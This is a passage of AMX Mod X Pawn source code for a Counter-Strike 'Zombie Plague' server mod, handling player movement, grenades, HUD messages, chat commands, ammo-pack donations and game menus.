		if (fCurrentTime - g_fLastLeapTime[iPlayer] < fCoolDown || !(pev (iPlayer, pev_button) & (IN_JUMP | IN_DUCK) == (IN_JUMP | IN_DUCK) ) || !( pev(iPlayer, pev_flags) & FL_ONGROUND) || GetEntitySpeed (iPlayer) < 80)	
		{
			return 0;
		}
		static Float:fVelocity[3];
		if (g_iPlayerType[iPlayer])
		{
			velocity_by_aim(iPlayer, 500, fVelocity);
			fVelocity[2] = 300.00;
		}
		else
		{
			velocity_by_aim(iPlayer, 360, fVelocity);
			fVelocity[2] = 240.00;
		}
		set_velocity(iPlayer, fVelocity);
		g_fLastLeapTime[iPlayer] = fCurrentTime;
	}
	return 0;
}

public _PlayerDuck_Post(id)
{
	if ( !g_bAlive [id] ) return;
	
	if ( g_bZombie [id] && g_iPlayerType[id] & 1 && g_iPlayerType[id] & 2)
		
	set_pev ( id, pev_flTimeStepSound, 999 );
	
	if ( g_bFrozen [id])
	{
		set_pev ( id, pev_velocity, Float: {0.0,0.0,0.0} );
		
		set_pev ( id, pev_maxspeed, 1.0 );
		
		return;
	}
	else if ( FreezeTime )
	{
		return;
	}	
	else
	{
		if ( g_bZombie [id] )
		{
			if ( g_iPlayerType[id] & 1 )
			
			set_pev ( id, pev_maxspeed, 250.0 );
			
			else if (  g_iPlayerType[id] & 2 )
			
			set_pev ( id, pev_maxspeed, 600.0 );
			
			else
			set_pev ( id, pev_maxspeed, g_fZombieSpeeds[g_iZombieClass[id]]);
		}
		else
		{
			if (  g_iPlayerType[id] & 4 )
			
			set_pev ( id, pev_maxspeed, 230.0 );
			
			else if (  g_iPlayerType[id] & 8 )
			
			set_pev(id, pev_maxspeed, 235.0 );
			
			else						    
				
			set_pev(id, pev_maxspeed, 240.0 );			
		}
	}	
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (fGameTime - g_fLast[iPlayer] < 0.3)
	{
		server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
	}
	else
	{
		g_fLast[iPlayer] = fGameTime;
	}
	return 0;
}

public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[32];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 31);
	static iFlags;
	iFlags = get_user_flags(iPlayer);	
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (iFlags & read_flags ( "c" ))
			{
				if (equal(cModel, "administrator", 0))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i], 0))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (iFlags & read_flags ( "c" ))
				{
					set_user_model(iPlayer, "administrator");
				}
				else
				{
					set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "survivor");
				}
				if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", 0))
				{
					set_user_model(iPlayer, "arctic");
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "monster_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "monster_assassin");
			}
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
		light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			send_particle_burst(i);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
		}
		i += 1;
	}
	return 0;
}

public TaskWelcome()
{
	PrintToChat(0, "^1****^4 ZmOldSchool.CsBlackDevil.Com^1 ||^4 Zombie Plague 6.2 (UltimateX)^1 ****");
	PrintToChat(0, "^4[ZP]^1 Press^4 M^1 to open the game menu!");
	set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4 || g_iRoundType & 2)
	{
		client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
	}
	else
	{
		client_cmd(0, "spk zombie_plague/ambience_normal.wav");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 3)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
		set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cHealth[15];
	static iPlayer;
	static Red, Green, Blue;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (g_bZombie[iTask + -300])
	{
		Blue = 60;
	}
	else
	{
		Blue = 180;
	}
	if (g_bZombie[iTask + -300])
	{
		Green = 135;
	}
	else
	{
		Green = 120;
	}
	if (g_bZombie[iTask + -300])
	{
		Red = 180;
	}
	else
	{
		Red = 0;
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);	
		set_hudmessage(Red, Green, Blue, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if ( g_bRoundEnd ) return 0;
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_infection_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Attacker;
	
	Attacker = pev ( iEntity, pev_owner );
	
	static Victim;
	
	Victim = -1
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( GetHumans (  ) == 1 )
		{
			ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
			
			Make_Explosion(Victim, Attacker);
			
			g_Hidden[Victim] = true;	
			
			continue;
		}
		
		emit_sound(Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)], 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		MakeZombie(Attacker, Victim, false, false, false);
		
	}
	remove_entity(iEntity);
	return 0;
}

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_fire_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )

		g_iBurningDuration [Victim] += 4;
		else
		g_iBurningDuration [Victim] += 4 * 5;
	
		send_damage(Victim, 8);

		if (!task_exists(Victim + 200, 0))
		{
			 set_task(0.2, "TaskBurn", Victim + 200, "", 0, "b", 0);
		}
	}
	remove_entity(iEntity);
	return 0;
}

public TaskBurn ( iTask )
{
	static  flags;
	static iPlayer;
	iPlayer = iTask + -200;	
	flags = pev ( iPlayer, pev_flags );
	
	if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
	{
		send_smoke(iPlayer);

		remove_task(iTask, 0);
		
		return;
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
	{
		client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
	{
		static Float: velocity [3];
		
		pev ( iPlayer, pev_velocity, velocity );
		
		xs_vec_mul_scalar ( velocity, 1.0, velocity );
		
		set_pev ( iPlayer, pev_velocity, velocity );
	}
	
	static health;
	
	health = pev ( iPlayer, pev_health ); 
	
	if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
		
	set_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
	
	send_flame(iPlayer);

	g_iBurningDuration [iPlayer]--
}

Freeze_Explode ( iEntity )
{
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin )
	
	send_beam_cylinder(iEntity, 0, 100, 200, 200);

	emit_sound(iEntity, CHAN_AUTO, "zombie_plague/grenade_frost_explode.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;

		if (g_iPlayerType[Victim] & 1)
		{
			emit_sound(Victim, CHAN_AUTO, "zombie_plague/grenade_frost_freeze.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
			
			continue;
		}
		
		set_glow(Victim, 19, 13, 0, 100, 200);
		send_damage(Victim, 16384);
		set_frozen(Victim, true);
		g_bFrozen [Victim] = true;
		ExecuteHamB(Ham_Item_PreFrame, Victim);
		
		if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
		
			set_pev ( Victim, pev_gravity, 999999.9 );
		else
			set_pev ( Victim, pev_gravity, 0.000001 );	
		
		set_task ( 3.0, "TaskUnfreeze", Victim );
	}
	remove_entity(iEntity);
	return 0;
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, false);
		ExecuteHamB(Ham_Item_PreFrame, i);
		send_screen_fade(i);
		emit_sound(i, CHAN_AUTO, "zombie_plague/grenade_frost_break.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		send_break_glass(i);
		remove_glow(i);
	}
	return 0;
}

public Explosion_Explode ( Entity )
{
	send_explosion(Entity);
	
	static Attacker;
	
	Attacker = pev ( Entity, pev_owner );
	
	for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
	{
		if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
		
		if ( g_bZombie [Victim] )
		{
			static Float: fDistance, Float: fDamage;
			
			fDistance = entity_range ( Victim, Entity );
			
			if ( fDistance < 300.0 )
			{
				fDamage = 667.0 - fDistance;
				
				send_screen_shake(Victim);
				
				send_screen_fade(Victim);
				
				emit_sound(Victim, CHAN_AUTO, "fvox/flatline.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		
				if ( float ( get_health ( Victim ) ) - fDamage > 0.0 )
				{	
					ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
				}
				else
				{
					ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
					Make_Explosion(Victim, Attacker);
					g_Hidden[Victim] = true;
				}
				
				if ( g_iPlayerType[Victim] & 1 &&  g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
				
				PrintToChat(Attacker, "^4[ZP]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[Victim], fDamage);
				
				if ( fDamage >= 500)
					
				g_iPacks [Attacker] += 2;
				else
				g_iPacks [Attacker] += 1;
			}
		}
	}
	remove_entity(Entity);
	return 0;
}


public Command_Drop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public Command_JoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
	{
		menu_display(iPlayer, g_iGameMenu, 0);
		return 1;
	}
	return 0;
}

public EventStatusValue(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		static cHealth[15];
		static iVictim;
		static Red, Blue;
		iVictim = read_data(2);
		if (g_bZombie[iVictim] == g_bZombie[iPlayer])
		{
			if (g_bZombie[iPlayer])
			{
				Blue = 0;
			}
			else
			{
				Blue = 255;
			}
			if (g_bZombie[iPlayer])
			{
				Red = 255;
			}
			else
			{
				Red = 0;
			}			
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(Red, 50, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ %s | Health: %s | Armor: %d | Ammo: %d ]", g_cName[iVictim], g_cClass[iVictim], cHealth, get_armor(iVictim), g_iPacks[iVictim]);
		}
		if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(255, 50, 0, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
		}
	}
	return 0;
}

public EventStatusValueHide(iPlayer)
{
    ClearSyncHud(iPlayer, g_iCenterMessageSync);
    return 0;
}

public Commmand_PrivateSay(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	static cTarget[32];
	read_argv(1, cTarget, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cTarget, 0);
	static iLength;
	iLength = strlen(cTarget) + 1;
	if (!iTarget)
	{
	       return 1;
	}
	static cMessage[192];
	read_args(cMessage, 191);
	if (iPlayer && iTarget != iPlayer)
	{
	       PrintToChat(iPlayer, "^1[*^4 %s^1 *]^4 To ^1[*^3 %s^1 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	}
	PrintToChat(iTarget, "^1[*^4 %s^1 *]^3 To ^1[*^3 %s^1 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	console_print(iPlayer, "[* %s *] To [* %s *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	return 1;
}

public Client_SayTeam(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64)
	{
		if (get_user_flags(iPlayer) & read_flags("i"))
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && get_user_flags(iPlayer) & read_flags("i"))
				{
					PrintToChat(i, "^1[*^4 ADMINS^1 *]^3 %s^1 :  %s", g_cName[iPlayer], cMessage [1]);
				}
				i += 1;
			}
		}
		else
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && (read_flags ("i") || iPlayer != i))					
				{
					PrintToChat(i, "^1[*^3 PLAYER^1 *]^3 %s^1 :  %s", g_cName[iPlayer], cMessage [1]);
				}
				i += 1;
			}
		}
		return 1;
	}
	return 0;
}

public Client_Say(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 2);
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64 && get_user_flags(iPlayer) & read_flags ( "a" ))
	{
		static Float:fVertical;
		static i;
		g_iMessagePosition += 1;
		if (g_iMessagePosition > 3)
		{
			g_iMessagePosition = 0;
		}
		switch (g_iMessagePosition)
		{
			case 0:
			{
				fVertical = 0.45;
			}
			case 1:
			{
				fVertical = 0.5;
			}
			case 2:
			{
				fVertical = 0.55;
			}
			case 3:
			{
				fVertical = 0.60;
			}
			default:
			{
			}
		}
		set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i])
			{
				show_hudmessage(i, "%s :  %s", g_cName[iPlayer], cMessage [1]);
			}
			i += 1;
		}
		return 1;
	}
	if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
	{
		static cMap[32];
		get_cvar_string("nextmap", cMap, 32);
		if (cMap[0])
		{
			PrintToChat(iPlayer, "^1Next map:^4 %s", cMap);
		}
		else
		{
			PrintToChat(iPlayer, "^1Next map:^4 [not yet voted on]");
		}
	}
	else
	{
		if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
		{
			static iTimeleft;
			iTimeleft = get_timeleft();
			PrintToChat(0, "^1Time Remaining:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
		}
		if (equali(cMessage, "/currentmap", 0) || equali(cMessage, "currentmap", 0))
		{
			static cMap[32];
			get_mapname(cMap, 32);
			PrintToChat(0, "Current map:^4 %s", cMap);
		}
		if (equali(cMessage, "/thetime", 0) || equali(cMessage, "thetime", 0))
		{
			static cTime[64];
			get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
			PrintToChat(0, "^1The Time:^1  %s", cTime);
		}
		if (equali(cMessage, "/lm", 0) || equali(cMessage, "lm", 0))
		{
			if (!g_bAlive[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
				return 0;
			}
			if (g_bZombie[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
				return 0;
			}
			if (6 > g_iPacks[iPlayer])
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You need^4 6 ammo packs");
				return 0;
			}
			if (g_iRoundType & 128 || g_bRoundEnd || g_iRoundType & 256 || g_iRoundType & 512)
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You can't buy a trip mine right now...");
				return 0;
			}
			g_iPacks[iPlayer] -= 6;
			g_iTripMines[iPlayer]++;
			client_cmd(iPlayer, "bind p CreateLaser; bind v TakeLaser");
			PrintToChat(iPlayer, "^4[ZP]^1 You bought a trip mine. Press^3 P^1 to plant it or^3 V^1 to take it");
		}
		if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
		{
			static iAmmo;
			static iTarget;
			static cAmmo[5];
			static cTarget[32];
			static cDummy[15];
			parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
			iTarget = GetTarget(iPlayer, cTarget, 0);
			iAmmo = str_to_num(cAmmo);
			if (!iTarget)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 Invalid player or matching multiple targets!");
				return 1;
			}
			if (0 >= iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 Invalid value of packs to send!");
				return 1;
			}
			if (g_iPacks[iPlayer] < iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^4[ZP]^1 You are trying to send too many packs!");
				return 1;
			}
			if (iTarget == iPlayer)
			{
				PrintToChat(iPlayer, "^4[ZP]^1 You are trying to send packs to you!");
				return 1;
			}
			AddCommas(iAmmo, cDummy, 14);
			g_iPacks[iTarget] += iAmmo;
			g_iPacks[iPlayer] -= iAmmo;
			PrintToChat(0, "^4[ZP]^3 %s^1 gave^4 %s packs^1 to^3 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
		}
	}
	if (g_bAlive[iPlayer])
	{
		if (!g_cTag[iPlayer][0])
		{
			PrintToChatEx(false, iPlayer, "^1*ALIVE*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
			return 0;
		}
		else
		{
			PrintToChatEx(false, iPlayer, "^1*ALIVE*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			return 0;
		}
	}
	else
	{
		if (0 < get_user_team(iPlayer) < 3)
		{
			if (!g_cTag[iPlayer][0])
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^1*SPEC*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
				return 0;
			}
			else
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^1*SPEC*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
				return 0;
			}
		}
		if (!g_cTag[iPlayer][0])
		{
			PrintToChatEx(true, iPlayer, "^1*DEAD*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
			return 0;
		}
		else
		{
			PrintToChatEx(true, iPlayer, "^1*DEAD*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			return 0;
		}
	}
	return 0;
}

PrintToChatEx(bool:bAlive, iPlayer, cMessage[], any:...)
{
	static i;
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 4);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i) && g_bAlive[i] == bAlive)
		{
			send_say_text(i, iPlayer, cBuffer);
		}
		i += 1;
	}
	return 0;
}

public MessageHealth(iMessage, iDestination, iEntity)
{
	static iHealth;
	iHealth = get_msg_arg_int(1);
	if (iHealth > 255)
	{
		if (!(iHealth % 256))
		{
			set_health(iEntity, get_health(iEntity) + 1);
		}
		set_msg_arg_int(1, get_msg_argtype(1), 255);
	}
	return 0;
}

public TaskReminder()
{
	static cHealth[15];
	static iHealth;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_iPlayerType[i])
		{
			iHealth = get_health(i);
			AddCommas(iHealth, cHealth, 14);
			PrintToChat(0, "^4[ZP]^1 A ^3Rapture^1 Reminder ^3@ ^4%s^1 still has %s ^4health points!", g_cClass[i], cHealth);
		}
		i += 1;
	}
	return 0;
}

public TaskRemoveMadness(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		g_bNoDamage[iPlayer] = false;
		remove_glow(iPlayer);
		set_take_damage(iPlayer, 2);
	}
	return 0;
}

public Task_EnableFlash(iPlayer)
{
	g_bFlashEnabled[iPlayer] = true;
	g_bFlash[iPlayer] = true;
	remove_task(iPlayer + 350, 0);
	set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
	return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_bAlive[iPlayer] && g_bCanBuy[iPlayer])
				{
					set_task(0.1, "TaskShowMenu", iPlayer, "", 0, "", 0);
					PrintToChat(iPlayer, "^4[ZP]^1 Your buy menu has been enabled.");
				}
			}
			case 1:
			{
				if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
				{
					static cNumber[3];
					static cLine[128];
					static i;
					g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
					i = 0;
					while (i < 22)
					{
						if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
						{
						}
						else
						{
							if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
							{
								formatex(cLine, 128, "%s \y%d ammo packs", g_cExtraItems[i], g_iExtraItemsPrices[i]);
								num_to_str(i, cNumber, 3);
								menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
							}
						}
						i += 1;
					}
					menu_display(iPlayer, g_iMenuExtraItems, 0);
				}
				else
				{
					PrintToChat(iPlayer, "^4[ZP]^1 Extra items are unavailable right now...");
				}
			}
			case 2:
			{
				menu_display(iPlayer, g_iMenuZombieClasses, 0);
			}
			case 3:
			{
				if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
				{
					static i;
					static Float:fOrigin[3];
					static Float:fVector[3];
					static Float:fMins[3];
					get_mins(iPlayer, fMins);
					get_origin(iPlayer, fOrigin);
					i = 0;
					while (i < 70)
					{
						fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
						fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
						fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
						if (is_origin_vacant(fVector, iPlayer))
						{
							set_origin(iPlayer, fVector);
							set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
							i = 70;
							client_cmd(iPlayer, "spk fvox/blip.wav");
						}
						i += 1;
					}
					PrintToChat(iPlayer, "^4[ZP]^1 You have been unstucked!");
				}
				else
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You are not stuck...");
				}
			}		
			case 4:
            {
                log_amx("^"%s^" joined spectators!", g_cName[iPlayer]);
                remove_task(iPlayer + 250, 0);
                remove_task(iPlayer + 200, 0);
                set_out(iPlayer, 3);
                if (g_bAlive[iPlayer])
                {
                    CheckLastPlayer(iPlayer);
                    kill(iPlayer);
                }
                PrintToChat(iPlayer, "^4[ZP]^1 You are now spectator!");
            }			
			default:
			{
			}
		}
	}
	return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[15];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		g_iZombieNextClass[iPlayer] = iChoice;
		AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
		PrintToChat(iPlayer, "^4[ZP]^1 Your zombie class after the next infection will be:^4 %s", g_cZombieClasses[iChoice]);
		PrintToChat(iPlayer, "^4[ZP]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice] * 100.0, g_fZombieKnockbacks[iChoice] * 100.0, "%");
	}
	return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
	if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
	{
		static bAlreadyBought[33];
		static iSurvivors;
		static iSnipers;
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bFlash[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_task(0.1, "Task_EnableFlash", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
